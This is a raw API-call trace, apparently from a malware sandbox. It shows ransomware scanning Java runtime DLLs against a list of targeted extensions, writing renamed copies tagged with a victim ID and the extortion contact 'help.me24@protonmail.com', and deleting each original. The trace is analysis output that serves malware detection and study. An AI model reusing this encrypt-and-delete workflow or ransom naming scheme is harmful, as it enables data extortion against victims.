	[0092.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0092.414] lstrlenW (lpString=".doc") returned 4
	[0092.414] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.414] lstrlenW (lpString=".docx") returned 5
	[0092.414] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0092.415] lstrlenW (lpString=".pdf") returned 4
	[0092.415] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.415] lstrlenW (lpString=".xls") returned 4
	[0092.415] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.415] lstrlenW (lpString=".xlsx") returned 5
	[0092.415] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0092.415] lstrlenW (lpString=".ppt") returned 4
	[0092.415] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0092.415] lstrlenW (lpString=".zip") returned 4
	[0092.415] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.415] lstrlenW (lpString=".rar") returned 4
	[0092.415] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.415] lstrlenW (lpString=".bz2") returned 4
	[0092.415] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.415] lstrlenW (lpString=".7z") returned 3
	[0092.415] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0092.415] lstrlenW (lpString=".dbf") returned 4
	[0092.415] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0092.415] lstrlenW (lpString=".1cd") returned 4
	[0092.415] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0092.415] lstrlenW (lpString=".jpg") returned 4
	[0092.415] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0092.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0092.415] lstrlenW (lpString=".doc") returned 4
	[0092.415] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.415] lstrlenW (lpString=".docx") returned 5
	[0092.415] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0092.415] lstrlenW (lpString=".pdf") returned 4
	[0092.415] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.415] lstrlenW (lpString=".xls") returned 4
	[0092.415] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.416] lstrlenW (lpString=".xlsx") returned 5
	[0092.416] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0092.416] lstrlenW (lpString=".ppt") returned 4
	[0092.416] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0092.416] lstrlenW (lpString=".zip") returned 4
	[0092.416] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.416] lstrlenW (lpString=".rar") returned 4
	[0092.416] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.416] lstrlenW (lpString=".bz2") returned 4
	[0092.416] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.416] lstrlenW (lpString=".7z") returned 3
	[0092.416] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0092.416] lstrlenW (lpString=".dbf") returned 4
	[0092.416] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0092.416] lstrlenW (lpString=".1cd") returned 4
	[0092.416] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47
	[0092.416] lstrlenW (lpString=".jpg") returned 4
	[0092.416] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.416] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.416] lstrlenW (lpString="npdeployJava1.dll") returned 17
	[0092.416] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0092.417] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1156672) returned 1
	[0092.417] CloseHandle (hObject=0x388) returned 1
	[0092.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 0x20
	[0092.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.417] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0092.417] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.417] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.417] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0092.418] GetLastError () returned 0x0
	[0092.418] ReadFile (in: hFile=0x388, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0092.525] WriteFile (in: hFile=0x360, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0092.541] ReadFile (in: hFile=0x388, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x1a650, lpOverlapped=0x0) returned 1
	[0092.944] WriteFile (in: hFile=0x360, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x1a660, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x1a660, lpOverlapped=0x0) returned 1
	[0092.949] ReadFile (in: hFile=0x388, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.949] WriteFile (in: hFile=0x360, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0092.949] SetEndOfFile (hFile=0x360) returned 1
	[0092.949] CloseHandle (hObject=0x360) returned 1
	[0092.949] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.949] SetEndOfFile (hFile=0x388) returned 1
	[0092.951] CloseHandle (hObject=0x388) returned 1
	[0092.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0092.952] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 1
	[0092.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0092.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0092.952] lstrlenW (lpString=".doc") returned 4
	[0092.952] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.952] lstrlenW (lpString=".docx") returned 5
	[0092.952] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0092.952] lstrlenW (lpString=".pdf") returned 4
	[0092.952] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.952] lstrlenW (lpString=".xls") returned 4
	[0092.952] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.952] lstrlenW (lpString=".xlsx") returned 5
	[0092.952] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0092.952] lstrlenW (lpString=".ppt") returned 4
	[0092.952] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.952] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0092.952] lstrlenW (lpString=".zip") returned 4
	[0092.952] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.952] lstrlenW (lpString=".rar") returned 4
	[0092.952] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.952] lstrlenW (lpString=".bz2") returned 4
	[0092.952] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.953] lstrlenW (lpString=".7z") returned 3
	[0092.953] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0092.953] lstrlenW (lpString=".dbf") returned 4
	[0092.953] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0092.953] lstrlenW (lpString=".1cd") returned 4
	[0092.953] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0092.953] lstrlenW (lpString=".jpg") returned 4
	[0092.953] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0092.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0092.953] lstrlenW (lpString=".doc") returned 4
	[0092.953] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.953] lstrlenW (lpString=".docx") returned 5
	[0092.953] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0092.953] lstrlenW (lpString=".pdf") returned 4
	[0092.953] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.953] lstrlenW (lpString=".xls") returned 4
	[0092.953] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.953] lstrlenW (lpString=".xlsx") returned 5
	[0092.953] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0092.953] lstrlenW (lpString=".ppt") returned 4
	[0092.953] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0092.953] lstrlenW (lpString=".zip") returned 4
	[0092.953] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.953] lstrlenW (lpString=".rar") returned 4
	[0092.953] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.953] lstrlenW (lpString=".bz2") returned 4
	[0092.953] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.953] lstrlenW (lpString=".7z") returned 3
	[0092.953] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.953] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0092.953] lstrlenW (lpString=".dbf") returned 4
	[0092.954] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0092.954] lstrlenW (lpString=".1cd") returned 4
	[0092.954] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.954] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0092.954] lstrlenW (lpString=".jpg") returned 4
	[0092.954] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.954] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.954] lstrlenW (lpString="hprof.dll") returned 9
	[0092.954] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0092.954] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=158272) returned 1
	[0092.954] CloseHandle (hObject=0x388) returned 1
	[0092.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 0x20
	[0092.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.954] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0092.954] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.955] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.955] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0092.955] GetLastError () returned 0x0
	[0092.955] ReadFile (in: hFile=0x388, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x26a40, lpOverlapped=0x0) returned 1
	[0092.996] WriteFile (in: hFile=0x360, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x26a50, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x26a50, lpOverlapped=0x0) returned 1
	[0092.999] ReadFile (in: hFile=0x388, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.999] WriteFile (in: hFile=0x360, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0092.999] SetEndOfFile (hFile=0x360) returned 1
	[0093.000] CloseHandle (hObject=0x360) returned 1
	[0093.000] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.000] SetEndOfFile (hFile=0x388) returned 1
	[0093.002] CloseHandle (hObject=0x388) returned 1
	[0093.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.002] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 1
	[0093.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0093.007] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0093.007] lstrlenW (lpString=".doc") returned 4
	[0093.007] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.007] lstrlenW (lpString=".docx") returned 5
	[0093.007] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1
	[0093.007] lstrlenW (lpString=".pdf") returned 4
	[0093.007] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.007] lstrlenW (lpString=".xls") returned 4
	[0093.007] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.007] lstrlenW (lpString=".xlsx") returned 5
	[0093.007] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1
	[0093.007] lstrlenW (lpString=".ppt") returned 4
	[0093.008] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0093.008] lstrlenW (lpString=".zip") returned 4
	[0093.008] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.008] lstrlenW (lpString=".rar") returned 4
	[0093.008] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.008] lstrlenW (lpString=".bz2") returned 4
	[0093.008] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.008] lstrlenW (lpString=".7z") returned 3
	[0093.008] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0093.008] lstrlenW (lpString=".dbf") returned 4
	[0093.008] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0093.008] lstrlenW (lpString=".1cd") returned 4
	[0093.008] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0093.008] lstrlenW (lpString=".jpg") returned 4
	[0093.008] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0093.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0093.008] lstrlenW (lpString=".doc") returned 4
	[0093.008] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.008] lstrlenW (lpString=".docx") returned 5
	[0093.008] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1
	[0093.008] lstrlenW (lpString=".pdf") returned 4
	[0093.008] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.008] lstrlenW (lpString=".xls") returned 4
	[0093.008] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.008] lstrlenW (lpString=".xlsx") returned 5
	[0093.008] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1
	[0093.008] lstrlenW (lpString=".ppt") returned 4
	[0093.008] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0093.008] lstrlenW (lpString=".zip") returned 4
	[0093.008] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.009] lstrlenW (lpString=".rar") returned 4
	[0093.009] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.009] lstrlenW (lpString=".bz2") returned 4
	[0093.009] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.009] lstrlenW (lpString=".7z") returned 3
	[0093.009] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0093.009] lstrlenW (lpString=".dbf") returned 4
	[0093.009] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0093.009] lstrlenW (lpString=".1cd") returned 4
	[0093.009] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48
	[0093.009] lstrlenW (lpString=".jpg") returned 4
	[0093.009] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.009] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.009] lstrlenW (lpString="j2pkcs11.dll") returned 12
	[0093.009] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0093.014] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=63552) returned 1
	[0093.014] CloseHandle (hObject=0x360) returned 1
	[0093.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 0x20
	[0093.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.014] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0093.014] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.014] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.014] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0093.016] GetLastError () returned 0x0
	[0093.016] ReadFile (in: hFile=0x360, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0xf840, lpOverlapped=0x0) returned 1
	[0093.020] WriteFile (in: hFile=0x364, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf850, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf850, lpOverlapped=0x0) returned 1
	[0093.022] ReadFile (in: hFile=0x360, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.022] WriteFile (in: hFile=0x364, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.022] SetEndOfFile (hFile=0x364) returned 1
	[0093.028] CloseHandle (hObject=0x364) returned 1
	[0093.030] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.030] SetEndOfFile (hFile=0x360) returned 1
	[0093.033] CloseHandle (hObject=0x360) returned 1
	[0093.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.033] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 1
	[0093.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0093.033] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0093.033] lstrlenW (lpString=".doc") returned 4
	[0093.033] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.033] lstrlenW (lpString=".docx") returned 5
	[0093.033] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
